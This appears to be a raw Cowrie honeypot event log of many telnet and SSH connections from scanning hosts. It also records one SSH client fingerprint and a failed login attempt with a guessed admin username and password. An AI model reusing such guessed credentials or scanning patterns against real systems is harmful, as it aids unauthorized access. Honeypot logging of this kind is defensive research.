{"eventid":"cowrie.session.connect","src_ip":"31.41.249.116","src_port":47476,"dst_ip":"159.203.135.109","dst_port":23,"session":"a340da92378c","protocol":"telnet","message":"New connection: 31.41.249.116:47476 (159.203.135.109:23) [session: a340da92378c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:59.877196Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":54286,"dst_ip":"10.17.0.5","dst_port":23,"session":"0acd2c1da2b9","protocol":"telnet","message":"New connection: 135.148.33.217:54286 (10.17.0.5:23) [session: 0acd2c1da2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:00.021629Z"}
{"eventid":"cowrie.session.closed","duration":30.212533473968506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:00.068705Z","src_ip":"192.161.62.114","session":"e1fd37992094","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09556794166565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:00.496408Z","src_ip":"192.161.62.114","session":"ec0fde983bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48914,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e1f4291c72f","protocol":"telnet","message":"New connection: 108.179.218.230:48914 (10.17.0.5:23) [session: 5e1f4291c72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:00.892403Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":50790,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f3576a66b3","protocol":"telnet","message":"New connection: 133.130.75.21:50790 (10.17.0.5:23) [session: b2f3576a66b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:01.060344Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":49010,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d9d7e4c5f3a","protocol":"telnet","message":"New connection: 108.179.218.230:49010 (10.17.0.5:23) [session: 8d9d7e4c5f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:01.120898Z"}
{"eventid":"cowrie.session.closed","duration":"23.5","message":"Connection lost after 23.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:01.145522Z","src_ip":"122.168.114.167","session":"23ae1e9055bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.36605191230774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:01.166007Z","src_ip":"160.250.4.73","session":"70afba69971e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.315276861190796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:01.227144Z","src_ip":"192.161.62.114","session":"3a898480ef3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":50857,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ba7cb4f3cf","protocol":"telnet","message":"New connection: 133.130.75.21:50857 (10.17.0.5:23) [session: 36ba7cb4f3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:01.544326Z"}
{"eventid":"cowrie.session.closed","duration":31.712541341781616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:01.798023Z","src_ip":"162.214.112.92","session":"af346e306cd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982418537139893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:01.846304Z","src_ip":"192.161.62.114","session":"c11e2a22f824","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48906,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0894b245758","protocol":"telnet","message":"New connection: 108.179.218.230:48906 (10.17.0.5:23) [session: a0894b245758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:01.878615Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":57510,"dst_ip":"10.17.0.5","dst_port":23,"session":"e26628bd8192","protocol":"telnet","message":"New connection: 40.84.199.249:57510 (10.17.0.5:23) [session: e26628bd8192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:02.179043Z"}
{"eventid":"cowrie.session.closed","duration":30.62861394882202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:03.102919Z","src_ip":"99.198.111.122","session":"46fe8879a116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":53572,"dst_ip":"10.17.0.5","dst_port":23,"session":"512a9d4d7038","protocol":"telnet","message":"New connection: 162.214.112.92:53572 (10.17.0.5:23) [session: 512a9d4d7038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:03.273001Z"}
{"eventid":"cowrie.session.closed","duration":31.52470326423645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:03.847518Z","src_ip":"192.161.62.114","session":"209018683657","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39240,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb51777e6c9","protocol":"telnet","message":"New connection: 64.235.40.29:39240 (10.17.0.5:23) [session: 4cb51777e6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:03.871543Z"}
{"eventid":"cowrie.session.closed","duration":30.864815711975098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:04.433598Z","src_ip":"192.161.62.114","session":"e8cbb980101c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":58390,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bf0d771d912","protocol":"telnet","message":"New connection: 40.84.199.249:58390 (10.17.0.5:23) [session: 8bf0d771d912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:04.605943Z"}
{"eventid":"cowrie.session.closed","duration":31.905139446258545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:04.728651Z","src_ip":"162.214.112.92","session":"748bb7971ffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005335092544556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:05.094988Z","src_ip":"50.6.7.102","session":"77a8ac2604b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":58506,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a4b8121528","protocol":"telnet","message":"New connection: 40.84.199.249:58506 (10.17.0.5:23) [session: f6a4b8121528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:05.145536Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":58718,"dst_ip":"10.17.0.5","dst_port":23,"session":"86202752dd49","protocol":"telnet","message":"New connection: 40.84.199.249:58718 (10.17.0.5:23) [session: 86202752dd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:05.681616Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":33812,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ead69eb17d","protocol":"telnet","message":"New connection: 162.241.40.195:33812 (10.17.0.5:23) [session: 72ead69eb17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:06.309876Z"}
{"eventid":"cowrie.session.closed","duration":30.66588068008423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:07.015320Z","src_ip":"135.148.33.217","session":"04b4168f8b17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":56248,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fc9f4c5bf5b","protocol":"telnet","message":"New connection: 64.235.40.29:56248 (10.17.0.5:23) [session: 3fc9f4c5bf5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:07.270540Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.249.116","src_port":47492,"dst_ip":"159.203.135.109","dst_port":23,"session":"3360beeaf54e","protocol":"telnet","message":"New connection: 31.41.249.116:47492 (159.203.135.109:23) [session: 3360beeaf54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:07.311653Z"}
{"eventid":"cowrie.session.closed","duration":30.249479293823242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:08.022299Z","src_ip":"135.148.33.217","session":"ac195425f301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":35452,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2109badb929","protocol":"telnet","message":"New connection: 162.241.40.195:35452 (10.17.0.5:23) [session: e2109badb929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:08.861529Z"}
{"eventid":"cowrie.session.closed","duration":30.7086238861084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:09.012984Z","src_ip":"135.148.33.217","session":"e8b6c3cbaf45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":59940,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b4707ddb72d","protocol":"telnet","message":"New connection: 40.84.199.249:59940 (10.17.0.5:23) [session: 9b4707ddb72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:09.201198Z"}
{"eventid":"cowrie.session.closed","duration":30.931942462921143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:10.047181Z","src_ip":"40.84.199.249","session":"019ebe87992e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.510382413864136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:10.882863Z","src_ip":"192.161.62.114","session":"49a72b9e21e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.249.116","src_port":52836,"dst_ip":"159.203.135.109","dst_port":23,"session":"f84611e8e7e2","protocol":"telnet","message":"New connection: 31.41.249.116:52836 (159.203.135.109:23) [session: f84611e8e7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:11.187213Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":60684,"dst_ip":"10.17.0.5","dst_port":23,"session":"054e6e9e4af2","protocol":"telnet","message":"New connection: 216.22.21.200:60684 (10.17.0.5:23) [session: 054e6e9e4af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:11.741228Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":37476,"dst_ip":"10.17.0.5","dst_port":23,"session":"e57aa7fea5e6","protocol":"telnet","message":"New connection: 162.241.40.195:37476 (10.17.0.5:23) [session: e57aa7fea5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:11.937905Z"}
{"eventid":"cowrie.session.closed","duration":32.05510401725769,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:12.705967Z","src_ip":"162.214.112.92","session":"c2ac4e781e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47064,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cfd72aea72c","protocol":"ssh","message":"New connection: 159.203.92.129:47064 (159.203.135.109:22) [session: 4cfd72aea72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:13.106171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:13.109763Z","src_ip":"159.203.92.129","session":"4cfd72aea72c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:13.113277Z","src_ip":"159.203.92.129","session":"4cfd72aea72c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arcsight_admin","password":"Sup3rP@ssw0rd","message":"login attempt [arcsight_admin/Sup3rP@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:13.122560Z","src_ip":"159.203.92.129","session":"4cfd72aea72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.079171895980835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:13.192664Z","src_ip":"135.148.33.217","session":"5fdda0f3634f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30563187599182,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:13.397744Z","src_ip":"108.179.218.230","session":"7dea8635698a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596380710601807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:13.957674Z","src_ip":"108.179.218.230","session":"e32b721c72ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:14.127990Z","src_ip":"159.203.92.129","session":"4cfd72aea72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.890840768814087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:14.466833Z","src_ip":"192.161.62.114","session":"52c3286d317a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":39494,"dst_ip":"10.17.0.5","dst_port":23,"session":"558c0d0e2411","protocol":"telnet","message":"New connection: 162.241.40.195:39494 (10.17.0.5:23) [session: 558c0d0e2411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:14.755266Z"}
{"eventid":"cowrie.session.closed","duration":30.752007246017456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:15.259384Z","src_ip":"176.74.31.147","session":"a3305d8e6824","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":55094,"dst_ip":"10.17.0.5","dst_port":23,"session":"787d282ad5ba","protocol":"telnet","message":"New connection: 108.179.218.230:55094 (10.17.0.5:23) [session: 787d282ad5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:15.498320Z"}
{"eventid":"cowrie.session.closed","duration":30.73600172996521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:15.522123Z","src_ip":"108.179.218.230","session":"40a361a1ccd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":34052,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f160cebc169","protocol":"telnet","message":"New connection: 40.84.199.249:34052 (10.17.0.5:23) [session: 6f160cebc169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:15.816962Z"}
{"eventid":"cowrie.session.closed","duration":31.421459913253784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:15.871193Z","src_ip":"192.161.62.114","session":"e27fbd970c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":40246,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b590e382479","protocol":"telnet","message":"New connection: 162.241.40.195:40246 (10.17.0.5:23) [session: 1b590e382479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:15.928987Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":35246,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf770216a212","protocol":"telnet","message":"New connection: 192.161.62.114:35246 (10.17.0.5:23) [session: bf770216a212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:16.091427Z"}
{"eventid":"cowrie.session.closed","duration":30.937642812728882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:16.348101Z","src_ip":"176.74.31.147","session":"50d204d72fab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":35516,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c98e4cb9283","protocol":"telnet","message":"New connection: 192.161.62.114:35516 (10.17.0.5:23) [session: 3c98e4cb9283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:16.714002Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36782,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b45b0bdff3","protocol":"ssh","message":"New connection: 122.168.114.167:36782 (159.203.135.109:22) [session: e3b45b0bdff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:16.806756Z"}
{"eventid":"cowrie.session.closed","duration":32.69766926765442,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:16.835031Z","src_ip":"162.214.112.92","session":"2931bebb2155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":40886,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ea456538070","protocol":"telnet","message":"New connection: 162.241.40.195:40886 (10.17.0.5:23) [session: 4ea456538070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:16.862133Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b9fbe0421e8","protocol":"telnet","message":"New connection: 216.22.21.200:38128 (10.17.0.5:23) [session: 4b9fbe0421e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:17.073963Z"}
{"eventid":"cowrie.session.closed","duration":31.02279043197632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:17.916716Z","src_ip":"192.161.62.114","session":"485dc1cfe4ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.047303676605225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:18.068463Z","src_ip":"64.235.40.29","session":"ced7cfcbcd02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3747398853302,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:18.145326Z","src_ip":"162.214.112.92","session":"efacfd729a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":39740,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fab712b5651","protocol":"telnet","message":"New connection: 162.241.40.195:39740 (10.17.0.5:23) [session: 2fab712b5651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:18.199324Z"}
{"eventid":"cowrie.session.closed","duration":30.720284700393677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:18.205894Z","src_ip":"133.130.75.21","session":"fabc98f8c92e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":34764,"dst_ip":"10.17.0.5","dst_port":23,"session":"335d93985993","protocol":"telnet","message":"New connection: 64.235.40.29:34764 (10.17.0.5:23) [session: 335d93985993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:18.212870Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":36538,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b00c66ae4d1","protocol":"telnet","message":"New connection: 192.161.62.114:36538 (10.17.0.5:23) [session: 4b00c66ae4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:19.014335Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":56974,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2d8b26cf4f3","protocol":"telnet","message":"New connection: 162.214.112.92:56974 (10.17.0.5:23) [session: c2d8b26cf4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:19.597812Z"}
{"eventid":"cowrie.session.closed","duration":31.0485897064209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:20.094735Z","src_ip":"192.161.62.114","session":"ae689fc1a243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99455976486206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:20.111329Z","src_ip":"162.241.40.195","session":"b05ac349fd3e","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:20.497305Z","src_ip":"122.168.114.167","session":"e3b45b0bdff3","protocol":"ssh"}
